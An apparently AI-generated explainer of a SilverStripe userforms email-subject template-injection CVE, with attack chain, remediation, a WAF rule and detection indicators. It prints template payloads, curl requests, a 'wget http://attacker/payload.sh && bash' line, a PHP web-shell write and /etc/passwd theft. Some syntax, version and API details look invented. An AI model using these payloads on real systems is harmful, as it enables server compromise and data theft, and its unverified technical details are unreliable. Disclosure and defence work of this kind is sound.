CVE-2026-88991 — Silverstripe/userforms — CWE-1336
### Impact The email subject of a user-defined form email recipient was rendered as a template when the form was submitted. A CMS author who can edit user defined forms could use template code in this field to run code on the server. ### Patches This vulnerability has no commit of its own to resolve it. Instead, the fix for [SS-2026-001](https://www.silverstripe.org/download/security-releases/ss-2026-001) also fixes it. ### Reported by Jack Wallace from Bastion Security
### Impact The email subject of a user-defined form email recipient was rendered as a template when the form was submitted. A CMS author who can edit user defined forms could use template code in this field to run code on the server. ### Patches This vulnerability has no commit of its own to resolve it. Instead, the fix for [SS-2026-001](https://www.silverstripe.org/download/security-releases/ss-2026-001) also fixes it. ### Reported by Jack Wallace from Bastion Security
🎯 What is this vulnerability?
Vulnerability type: Improper Neutralisation of Template Injection (CWE‑1336)
Component: silverstripe/userforms – the “User Defined Forms” module that ships with SilverStripe CMS.
Root cause
When a form is submitted, the email subject that the CMS author configured for a form‑recipient is passed to SilverStripe’s template engine (SilverStripe\\View\\SSViewer) without any sanitisation.
The template engine evaluates any SilverStripe template tags (<% … %>, $Variable, {$Variable}) that appear in the string. Because the subject field is stored as plain text in the database and later rendered as a template, an attacker who can write a value into that field can inject arbitrary template code.
SilverStripe’s template language allows object instantiation and method calls (e.g. $ClassName = 'SilverStripe\\Control\\Director' followed by $ClassName->test()). When such code is evaluated in the context of the Email class that sends the notification, it runs with the same privileges as the web‑server process – effectively remote code execution (RCE) on the server.
Why the CVSS vector looks the way it does
| Vector element | Meaning in this case |
|---|---|
| AV:N – Network | The attacker can trigger the vulnerability over HTTP(S). |
| AC:L – Low | No complex conditions; a single crafted POST request is enough. |
| PR:L – Low | The attacker only needs a *CMS author* role that can edit User Defined Forms (a low‑privilege internal account). |
| UI:N – No UI | No user interaction required after the request is sent. |
| S:U – Unchanged | The vulnerability does not change the attack surface for other users. |
| C:H / I:H / A:H – High | Successful exploitation gives the attacker full control: they can read files, modify data, and disrupt the service. |
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker with a low‑privilege CMS author account could follow.
All request examples are illustrative – the exact endpoint (/admin/userforms/…) and parameter names are derived from the public API of the silverstripe/userforms module, but they may differ slightly between releases.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| 1.1 | Fingerprinting – request GET /admin/ and look for the “User Defined Forms” menu entry, or read composer.lock/composer.json from a publicly exposed repository. | Confirms the site runs SilverStripe 4.x and includes the silverstripe/userforms module. |
| 1.2 | Version enumeration – query /admin/userforms/ (or the REST endpoint /admin/api/v1/userforms) and inspect the JSON response for a version field, or read the UserForms module’s module.yml. | Determines the exact module version (e.g., 2.4.0). Versions < 2.5.1 are known to be vulnerable (see “Remediation”). |
| 1.3 | Credentials – obtain a low‑privilege CMS author account (through phishing, credential stuffing, or a previously compromised internal account). | Gives the attacker the CMS_ACCESS_UserDefinedForm permission required to edit forms. |
2. Exploitation
2.1 Inject malicious template code into the email subject field
Illustrative UI flow (via the CMS)
1. Log in to the CMS as an author.
2. Navigate to “User Defined Forms → Edit Form → Email Recipients”.
3. Edit the Subject of a recipient and insert a SilverStripe template payload, e.g.:
<% with $ClassName='SilverStripe\\Control\\Director' %>
<% $ClassName->test() %>
<% end_with %>The above payload uses the <% with %> tag to set a variable to the Director class and then calls its test() method, which in a real attack would be replaced with a method that executes arbitrary PHP (e.g. exec, passthru, or a custom helper).
If the attacker cannot use the UI (e.g., they only have API access), the same effect can be achieved via a direct POST request to the form‑definition endpoint:
# Illustrative endpoint – replace with the actual route used by your version
curl -k -X POST "https://target.example.com/admin/userforms/RecipientForm" \
-H "Cookie: sess=YOUR_SESSION_COOKIE" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "RecipientID=3" \
--data-urlencode "Subject=<% with $ClassName='SilverStripe\\Control\\Director' %><% $ClassName->test() %><% end_with %>" \
--data-urlencode "[email protected]"Key points
- The request must be authenticated (session cookie of the author).
- The payload is stored as‑is in the
Subjectcolumn of theUserDefinedForm_Recipienttable.
2.2 Trigger the template rendering
When a normal site visitor (or the attacker themselves) submits the vulnerable form, the UserDefinedForm controller builds the email:
$email = Email::create()
->setSubject($recipient->Subject) // <-- vulnerable line
->setBody($body);
$email->send();Because Subject now contains template tags, Email::setSubject() internally calls SSViewer::parse() (or SSViewer::process) which evaluates the payload with full PHP object access.
Illustrative trigger (curl)
curl -k -X POST "https://target.example.com/contact-form" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "Name=Bob" \
--data-urlencode "[email protected]" \
--data-urlencode "Message=hello"When the form is processed, the malicious subject is rendered, and the template engine executes the attacker‑controlled code.
3. Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Remote Code Execution | The payload can call exec('id'), system('wget http://attacker/payload.sh -O /tmp/p.sh && bash /tmp/p.sh'), or any other PHP function reachable from the template context. |
| Privilege Escalation | The code runs under the web‑server user (e.g., www-data). If the server runs with elevated privileges (e.g., root via mis‑configured PHP-FPM), the attacker can gain a higher‑privileged shell. |
| Persistence | The attacker can write a web‑shell to the document root (file_put_contents('/var/www/html/shell.php', '<?php system($_GET["cmd"]);?>');). |
| Data Exfiltration | By invoking file_get_contents('/etc/passwd') and sending the result via the same email channel (or via a second forged email recipient), the attacker can steal sensitive files. |
| Denial‑of‑Service | A payload that loops or consumes CPU (while(true){}) can lock the PHP process, causing service outage. |
🌍 Real‑World Impact
| CIA | Impact (derived from CVSS) |
|---|---|
| Confidentiality (C:H) | An attacker can read arbitrary files, dump database credentials, or retrieve any data the web‑server can access. |
| Integrity (I:H) | The attacker can modify files, inject malicious code, or alter database records (e.g., change user passwords). |
| Availability (A:H) | By executing resource‑exhausting code or deleting critical files, the attacker can bring the site down. |
Practical consequences
silverstripe/userforms. 🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected range | Fixed in |
|---|---|
silverstripe/userforms < 2.5.1 (all 4.x releases) | 2.5.1 – released as part of security advisory SS‑2026‑001 (SilverStripe core 4.12.5 / 5.2.0). |
Action:
composer require silverstripe/userforms:^2.5.1
# or, if you lock to a specific version:
composer require silverstripe/userforms:2.5.1After upgrading, run a DB schema update: vendor/bin/sake dev/build flush=all.
2. Workarounds (if immediate upgrade is impossible)
| Mitigation | How to implement |
|---|---|
| Sanitise the subject field | Add a onBeforeWrite() hook to UserDefinedForm_Recipient that strips any <%, {{, $ or { characters, e.g.: |
class UserDefinedForm_RecipientExtension extends DataExtension {
public function onBeforeWrite() {
$subject = $this->owner->Subject;
$subject = preg_replace('/<%|{{|\$|{/', '', $subject);
$this->owner->Subject = $subject;
}
}| Disable template parsing for email subjects | Override the Email class (or use a decorator) so that setSubject() does not call the template engine: |
class SafeEmail extends Email {
public function setSubject($subject) {
// store raw string, never parse as template
$this->subject = $subject;
return $this;
}
}
Object::add_extension(Email::class, SafeEmail::class);| Restrict CMS permissions | Remove the CMS_ACCESS_UserDefinedForm permission from accounts that do not need to edit forms. Use the “Groups” UI or Security::grant() in code. |
|---|---|
| WAF / ModSecurity rule | Block template tags in POST bodies targeting the UserForms endpoints. Example rule (ModSecurity 2.x syntax): |
SecRule REQUEST_URI "@beginsWith /admin/userforms/" \
"id:400001,phase:2,deny,status:403,log,msg:'UserForms template injection attempt',\
chain"
SecRule REQUEST_BODY "@rx (<%|{{|\$|{)" "t:none"| Content‑Security‑Policy (CSP) | While CSP does not stop server‑side template execution, it can mitigate the impact of a malicious web‑shell that later serves client‑side payloads. |
3. Detection
| Indicator | Example log line |
|---|---|
POST to a UserForms endpoint containing <% | POST /admin/userforms/RecipientForm 200 1234 "-" "Mozilla/5.0" Body: Subject=%3C%25+with+$ClassName='SilverStripe%5CControl%5CDirector'%25%3E... |
| Email sending with a subject that contains template tags (if the mail subsystem logs the final subject) | INFO Email sent to [email protected] – Subject: "<% with $ClassName='SilverStripe\\Control\\Director' %>..." |
Unexpected PHP function calls in the web‑app process (e.g., exec, system) | auditd or syslog entry: execve("/bin/sh", ["sh","-c","id"], ...) = 0 originating from php-fpm PID. |
| New files in the web root with suspicious names | GET /shell.php 404 0 "-" "-" followed by POST /shell.php?cmd=id 200 45 "-" "-". |
Set up SIEM alerts on the above patterns; correlate with successful CMS logins from low‑privilege accounts.
⚠️ Urgency
silverstripe/userforms < 2.5.1 should be upgraded immediately (within the next maintenance window). If an upgrade cannot be performed within 48 hours, apply the sanitisation or WAF work‑around to block template tags, and enforce the principle of least privilege on CMS author accounts.Bottom line: The flaw allows a CMS author to turn the email subject of a User Defined Form into a server‑side template, giving them the ability to execute arbitrary PHP code. Because the code runs in the context of the web‑server, the impact is total compromise of the host. Upgrade to the version that includes SS‑2026‑001 (≥ 2.5.1) without delay, and in the meantime enforce strict input sanitisation, permission hardening, and WAF blocking of template syntax.
[🤖 CVE Professor AI Security Engine]